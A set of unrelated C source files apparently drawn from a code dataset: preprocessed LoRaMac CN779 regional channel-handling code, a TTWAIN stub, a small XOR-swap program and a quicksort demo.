RegionCommonIdentifyChannelsParam_t identifyChannelsParam; RegionCommonCountNbOfEnabledChannelsParams_t countChannelsParams; LoRaMacStatus_t status = LORAMAC_STATUS_NO_CHANNEL_FOUND; uint16_t joinChannels = ( uint16_t )( ( uint16_t )( 1 << ( 1 - 1 ) ) | ( uint16_t )( 1 << ( 2 - 1 ) ) | ( uint16_t )( 1 << ( 3 - 1 ) ) ); if( RegionCommonCountChannels( RegionNvmGroup2->ChannelsMask, 0, 1 ) == 0 ) { RegionNvmGroup2->ChannelsMask[0] |= ( uint16_t )( 1 << ( 1 - 1 ) ) + ( uint16_t )( 1 << ( 2 - 1 ) ) + ( uint16_t )( 1 << ( 3 - 1 ) ); } countChannelsParams.Joined = nextChanParams->Joined; countChannelsParams.Datarate = nextChanParams->Datarate; countChannelsParams.ChannelsMask = RegionNvmGroup2->ChannelsMask; countChannelsParams.Channels = RegionNvmGroup2->Channels; countChannelsParams.Bands = RegionNvmGroup1->Bands; countChannelsParams.MaxNbChannels = 16; countChannelsParams.JoinChannels = &joinChannels; identifyChannelsParam.AggrTimeOff = nextChanParams->AggrTimeOff; identifyChannelsParam.LastAggrTx = nextChanParams->LastAggrTx; identifyChannelsParam.DutyCycleEnabled = nextChanParams->DutyCycleEnabled; identifyChannelsParam.MaxBands = 1; identifyChannelsParam.ElapsedTimeSinceStartUp = nextChanParams->ElapsedTimeSinceStartUp; identifyChannelsParam.LastTxIsJoinRequest = nextChanParams->LastTxIsJoinRequest; identifyChannelsParam.ExpectedTimeOnAir = GetTimeOnAir( nextChanParams->Datarate, nextChanParams->PktLen ); identifyChannelsParam.CountNbOfEnabledChannelsParam = &countChannelsParams; status = RegionCommonIdentifyChannels( &identifyChannelsParam, aggregatedTimeOff, enabledChannels, &nbEnabledChannels, &nbRestrictedChannels, time ); if( status == LORAMAC_STATUS_OK ) { *channel = enabledChannels[randr( 0, nbEnabledChannels - 1 )]; } else if( status == LORAMAC_STATUS_NO_CHANNEL_FOUND ) { RegionNvmGroup2->ChannelsMask[0] |= ( uint16_t )( 1 << ( 1 - 1 ) ) + ( uint16_t )( 1 << ( 2 - 1 ) ) + ( uint16_t )( 1 << ( 3 - 1 ) ); } return status; } LoRaMacStatus_t RegionCN779ChannelAdd( ChannelAddParams_t* channelAdd ) { # 828 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 _Bool # 828 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" drInvalid = # 828 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 828 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; # 829 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 _Bool # 829 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" freqInvalid = # 829 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 829 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; uint8_t id = channelAdd->ChannelId; if( id < 3 ) { return LORAMAC_STATUS_FREQ_AND_DR_INVALID; } if( id >= 16 ) { return LORAMAC_STATUS_PARAMETER_INVALID; } if( RegionCommonValueInRange( channelAdd->NewChannel->DrRange.Fields.Min, 0, 7 ) == # 843 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 843 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) { drInvalid = # 845 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 845 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } if( RegionCommonValueInRange( channelAdd->NewChannel->DrRange.Fields.Max, 0, 7 ) == # 847 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 847 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) { drInvalid = # 849 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 849 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } if( channelAdd->NewChannel->DrRange.Fields.Min > channelAdd->NewChannel->DrRange.Fields.Max ) { drInvalid = # 853 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 853 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } if( freqInvalid == # 857 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 857 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) { if( VerifyRfFreq( channelAdd->NewChannel->Frequency ) == # 859 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 859 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) { freqInvalid = # 861 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 861 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } } if( ( drInvalid == # 866 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 866 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) && ( freqInvalid == # 866 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 866 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) ) { return LORAMAC_STATUS_FREQ_AND_DR_INVALID; } if( drInvalid == # 870 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 870 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) { return LORAMAC_STATUS_DATARATE_INVALID; } if( freqInvalid == # 874 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 874 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) { return LORAMAC_STATUS_FREQUENCY_INVALID; } memcpy1( ( uint8_t* ) &(RegionNvmGroup2->Channels[id]), ( uint8_t* ) channelAdd->NewChannel, sizeof( RegionNvmGroup2->Channels[id] ) ); RegionNvmGroup2->Channels[id].Band = 0; RegionNvmGroup2->ChannelsMask[0] |= ( 1 << id ); return LORAMAC_STATUS_OK; } # 885 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 _Bool # 885 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" RegionCN779ChannelsRemove( ChannelRemoveParams_t* channelRemove ) { uint8_t id = channelRemove->ChannelId; if( id < 3 ) { return # 891 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 891 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } RegionNvmGroup2->Channels[id] = ( ChannelParams_t ){ 0, 0, { 0 }, 0 }; return RegionCommonChanDisable( RegionNvmGroup2->ChannelsMask, id, 16 ); } void RegionCN779SetContinuousWave( ContinuousWaveParams_t* continuousWave ) { int8_t txPowerLimited = RegionCommonLimitTxPower( continuousWave->TxPower, RegionNvmGroup1->Bands[RegionNvmGroup2->Channels[continuousWave->Channel].Band].TxMaxPower ); int8_t phyTxPower = 0; uint32_t frequency = RegionNvmGroup2->Channels[continuousWave->Channel].Frequency; phyTxPower = RegionCommonComputeTxPower( txPowerLimited, continuousWave->MaxEirp, continuousWave->AntennaGain ); Radio.SetTxContinuousWave( frequency, phyTxPower, continuousWave->Timeout ); } uint8_t RegionCN779ApplyDrOffset( uint8_t downlinkDwellTime, int8_t dr, int8_t drOffset ) { int8_t datarate = dr - drOffset; if( datarate < 0 ) { datarate = 0; } return datarate; } void RegionCN779RxBeaconSetup( RxBeaconSetup_t* rxBeaconSetup, uint8_t* outDr ) { RegionCommonRxBeaconSetupParams_t regionCommonRxBeaconSetup; regionCommonRxBeaconSetup.Datarates = DataratesCN779; regionCommonRxBeaconSetup.Frequency = rxBeaconSetup->Frequency; regionCommonRxBeaconSetup.BeaconSize = 17; regionCommonRxBeaconSetup.BeaconDatarate = 3; regionCommonRxBeaconSetup.BeaconChannelBW = 0; regionCommonRxBeaconSetup.RxTime = rxBeaconSetup->RxTime; regionCommonRxBeaconSetup.SymbolTimeout = rxBeaconSetup->SymbolTimeout; RegionCommonRxBeaconSetup( &regionCommonRxBeaconSetup ); *outDr = 3; }
the_stack_data/127156.c
#ifdef __cplusplus extern "C" { #endif int TTWAIN_LoadSourceManagerPD(void) { return 0; } int TTWAIN_UnloadSourceManagerPD(void) { return 1; } #ifdef __cplusplus } #endif
the_stack_data/100610.c
#include <stdio.h> int main(void){ int a=150; int b=20; a^=b^=a^=b; printf("a%d,b%d\n",a,b); }
the_stack_data/101598.c
#include <stdio.h> int partition(int array[],int L,int R){ int temp = array[L]; while(L < R){ while(L < R && array[R] >= temp){R--;} if(L < R){ array[L] = array[R]; L++; } while(L < R && array[L] <= temp){L++;} if(L < R){ array[R] = array[L]; R--; } } array[L] = temp; return L; } void quicksort(int array[],int L,int R){ if(L >= R){return;} int M = partition(array,L,R); quicksort(array,L,M-1); quicksort(array,M+1,R); } int main(){ int array[] = {12,3,15,23,45,12,5,65,1,2,5,7,5,9,4,12}; int len = sizeof(array)/sizeof(*array); quicksort(array,0,len-1); for(int i = 0;i < len;i++){ printf("%d\n",array[i]); } }